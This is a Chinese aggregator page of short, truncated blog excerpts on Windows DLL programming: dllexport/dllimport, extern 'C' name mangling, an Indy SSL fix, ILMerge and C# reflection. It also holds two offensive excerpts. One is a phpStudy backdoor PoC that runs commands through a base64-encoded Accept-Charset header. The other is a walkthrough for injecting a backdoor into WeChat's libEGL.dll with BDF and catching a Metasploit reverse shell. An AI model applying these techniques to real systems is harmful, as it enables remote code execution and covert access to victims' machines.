dll文件

__declspec(dllimport)

二次信任 提交于 2019-12-01 21:11:05
我相信写WIN32程序的人,做过DLL,都会很清楚 __declspec (dllexport)的作用,它就是为了省掉在DEF文件中手工定义导出哪些函数的一个方法。当然,如果你的DLL里全是C++的类的话,你无法在DEF里指定导出的函数,只能用 __declspec (dllexport)导出类。但是,MSDN文档里面,对于 __declspec ( dllimport )的说明让人感觉有点奇怪,先来看看MSDN里面是怎么说的: 不使用 __declspec ( dllimport ) 也能正确编译代码,但使用 __declspec ( dllimport ) 使编译器可以生成更好的代码。编译器之所以能够生成更好的代码,是因为它可以确定函数是否存在于 DLL 中,这使得编译器可以生成跳过间接寻址级别的代码,而这些代码通常会出现在跨 DLL 边界的函数调用中。但是,必须使用 __declspec ( dllimport ) 才能导入 DLL 中使用的变量。 初看起来,这段话前面的意思是,不用它也可以正常使用DLL的导出库,但最后一句话又说, 必须使用 __declspec ( dllimport ) 才能导入 DLL 中使用的变量 这个是什么意思?? 那我就来试验一下,假定,你在DLL里只导出一个简单的类,注意,我假定你已经在项目属性中定义了 SIMPLEDLL_EXPORT

extern "C" __declspec(dllexport) __declspec(dll...

跟風遠走 提交于 2019-12-01 21:10:52
extern "C" __declspec(dllexport) __declspec(dllimport) 和 def 前面的extern "C" __declspec(dllexport) __declspec(dllimport)都是用于函数或者变量,甚至类的声明的(可以把extern "C"放在class的前面,但是编译器会忽略掉,最后产生的还是C++修饰符,而不是C修饰符)这样的用法有个好处就是下面的代码可以在混有类的函数和变量上使用下面的宏,虽然对类不起作用: #ifdef __cplusplus extern "C" { // 函数声明 // 变量声明,变量一般前面都有extern // 类声明,这个不起作用,编译器直接忽略掉class前面的extern “C” #ifdef __cplusplus } #endif C 和C++ 对应不同的调用约定,产生的修饰符也各不相同,如下: 调用约定 extern "C" 或 .c 文件 .cpp、.cxx 或 /TP C 命名约定 ( __cdecl ) _test ?test@@ZAXXZ Fastcall 命名约定 ( __fastcall ) @test @0 ?test@@YIXXZ 标准调用命名约定 ( __stdcall ) _test @0 ?test@@YGXXZ __declspec(dllexport)

delphi indy Idhttp error:1409442E:SSL routines:SSL3_READ_BYTES:tlsv1 alert protocol version

雨燕双飞 提交于 2019-12-01 18:35:56
在使用 indy 中的 idhttp 组件访问 https 网站时,出现如下错误: error:1409442E:SSL routines:SSL3_READ_BYTES:tlsv1 alert protocol version error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure 我今天发现的此错误原因是 OpenSSL中 libeay32.dll , ssleay32.dll 这两个dll引起的 以前,我在阿里旺旺目录中去获取这两个dll 如:C:\Program Files (x86)\AliWangWang\9.12.10C 今天我发现在delphi的 subversion 目录中,也带有这两个文件.一测试,果然好用. C:\Program Files (x86)\Embarcadero\Studio\19.0\bin\subversion 附上测试文件,请自行替换两组dll进行测试 测试示例下载 delphi xe10.3编写 来源: https://www.cnblogs.com/lackey/p/11712387.html

ILMerge合并多个DLL

拈花ヽ惹草 提交于 2019-12-01 16:32:02
ILMerge合并多个DLL 序言 如果你的项目要提供多个dll给别人用,那么不妨让你的dll合并为一个,让别人看起来简洁,引用起来不会过于繁琐。 本篇比较少,但也算是比较实用吧。 下载微软的辅助工具ILMerge Imerge下载地址: https://www.microsoft.com/en-us/download/details.aspx?id=17630 下载完,傻瓜式下一步。 合并多个Dll 场景:C盘有2个dll,分别为: C:\A.dll ,C:\B.dll 结果:合并为C:\C.dll 具体操作: 首先我的ILMerge安装到啦C盘的路径为:C:\Program Files (x86)\Microsoft\ILMerge 如图: 1、cd C:\Program Files (x86)\Microsoft\ILMerge 2、ILmerge /ndebug /target:dll /out:C:\C.dll /log C:\A.dll C:\B.dll 3、我日,就这么简单好啦,是滴,就这么简单。 4、其中:/log:log.txt命令是将生成过程中的日志,写入到log.txt文件中。out:merge.dll:是输出文件。AnalysisLibrary.dll USBClassLibrary.dll是源文件,多个源文件用空格隔开。 界面化管理工具 1、下载地址:

phpstudy后门利用

怎甘沉沦 提交于 2019-12-01 15:51:32
PHPStudy被爆出存在后门,PHP扩展的php_xmlrpc.dll文件被替换,攻击者向网站服务器发送特殊构造的HTTP请求即可执行任意PHP代码。 分析发现以下2个dll文件被替换并植入了后门: php-5.4.45/ext/php_xmlrpc.dll php-5.2.17/ext/php_xmlrpc.dll 在dll文件中搜索" eval( "确实 发现 存在异常代码: PoC : 注意:要把“gzip,deflate”逗号后面的空格删掉;“Accept-CharSet: c3lzdGVtKCdpcGNvbmZpZycpOw==”是base64编码后的形式,原文为:“Accept-CharSet: system('ipconfig');”。 奇安信写的分析文章 :https://mp.weixin.qq.com/s/t-P-n98ZydP3aSCdC0C9hQ 来源: https://www.cnblogs.com/dgjnszf/p/11691405.html

C# 反射实现动态加载程序集

允我心安 提交于 2019-12-01 10:20:13
原文: https://blog.csdn.net/pengdayong77/article/details/47622235 在.Net 中,程序集(Assembly)中保存了元数据(MetaData)信息,因此就可以通过分析元数据来获取程序集中的内容,比如类,方法,属性等,这大大方便了在运行时去动态创建实例。 反射提供了封装程序集、模块和类型的对象(Type 类型)。可以使用反射动态创建类型的实例,将类型绑定到现有对象,或从现有对象获取类型并调用其方法或访问其字段和属性。如果代码中使用了属性,可以利用反射对它们进行访问。 主要用途: 动态加载DLL,实现插件机制。 实例化DLL中的类型。 执行后期绑定,访问在运行时创建的类型的方法。 今天我就介绍下后面的两个用途,其实最初的目的只是想根据配置文件中的值创建对应对象。 Dll 先上一段代码,这是要调用的ClassGreenerycn类,它被编译为DllDemo.dll。 using System; namespace DllDemo { public class ClassGreenerycn { public string Name { get; set; } public bool IsTest { get; set; } public void Hello() { Console.WriteLine(Name); } } }

[翻译]红队战术: 结合直接系统调用和sRDI来绕过AV / EDR

白昼怎懂夜的黑 提交于 2019-12-01 07:48:02
English:https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ 0x00 简介 在本文我们将介绍如何使用直接系统调用(Direct System Calls)以及配合sRDI注入来绕过R3层的行为监控。 随着安全技术的防御能力逐渐增强,另一方面,攻击技术也在不断发展,作为一个Red Team需要研究更先进的技术来绕过当下比较流行的防御和检测机制。 近期一篇恶意代码的研究报告声称,使用"直接系统调用"技术来绕过安全软件用户层Hook的恶意样本正在与日俱增。 研究报告:https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ 作为一名ReadTeamer,要与时俱进!! 现在轮到我们也来更新一波shellcode攻击代码了。 我们将接下来将使用这种技术证明,在不触碰磁盘的情况下绕过AV/EDR监控的用户层Hook,使用Cobalt Strike来dump LSASS.exe进程内存。 PoC代码可以在这里下载:https://github.com/outflanknl

C#学习笔记(二)——C语言DLL

北城余情 提交于 2019-12-01 07:43:06
一、DLL生成(需要.h和.c两个文件) add.h内容: #ifndef _DLL_H_ #define _DLL_H_ #if BUILDING_DLL #define DLLIMPORT __declspec(dllexport) #else #define DLLIMPORT __declspec(dllimport) #endif DLLIMPORT int Add(); 声明函数 #endif ======================================================================================== add.c内容 #include "dll.h" //引入头文件 #include <windows.h> DLLIMPORT int Add(int a,int b) //定义需要实现功能的函数 { return a+b; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) //DLL主函数入口,暂时默认不动 { switch(fdwReason) { case DLL_PROCESS_ATTACH: { break; } case DLL_PROCESS_DETACH: { break; } case

Dll在ax里面如何调用

有些话、适合烂在心里 提交于 2019-12-01 01:34:30
日常巩固:昨天刚新学习了一个关于Dll文件接口的调用,总结步骤如下:   1. 在C#中创建ClassLibrary类库,通过引用DLL路径,     引用代码: [DllImport(@"C:\XXXX\XXcompany_XXinterface.dll", CharSet = CharSet.Ansi)]   2. 通过ClassLibrary类库对DLL进行二次分装,方便在AX里面进行直接调用。   3. 编译C#程序,生成分装后的DLL文件。   4. 将我们分装后的DLL文件通过放到AX安装路径下: C:\Program Files (x86)\Microsoft Dynamics AX\60\Client\Bin   5. 在AX程序里直接引用分装后的DLL   6. 在程序里直接使用代码调用即可。     来源: https://www.cnblogs.com/stuax/p/11645972.html

微信DLL劫持反弹shell

百般思念 提交于 2019-12-01 00:00:24
一、操作环境   Windows7 : 微信 , Process Explorer(任务管理工具,本实验中用于查找微信程序调用的DLL文件)   Kali Linux : BDF(劫持工具,可用于DLL注入)   可以互相ping通 二、操作步骤   Step1:在win7中打开微信和Process Explorer,在Process Explorer中找到微信进程,再找到微信调用的DLL文件,如:libEGL.dll   Step2:将该文件拷贝到Kali的BDF工具目录下;   Step3:运行backdoor.py,向libEGL.dll中注入   Step4:将注入完成的文件拷贝到win7微信的原位置,替换掉原文件,记得先关闭微信;   Step5:在Kali开启postgresql,运行MSF; service postgresql startmsfconsole msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp msf5 exploit(multi/handler) > show options msf5 exploit(multi/handler) > set lhost kali的IP msf5 exploit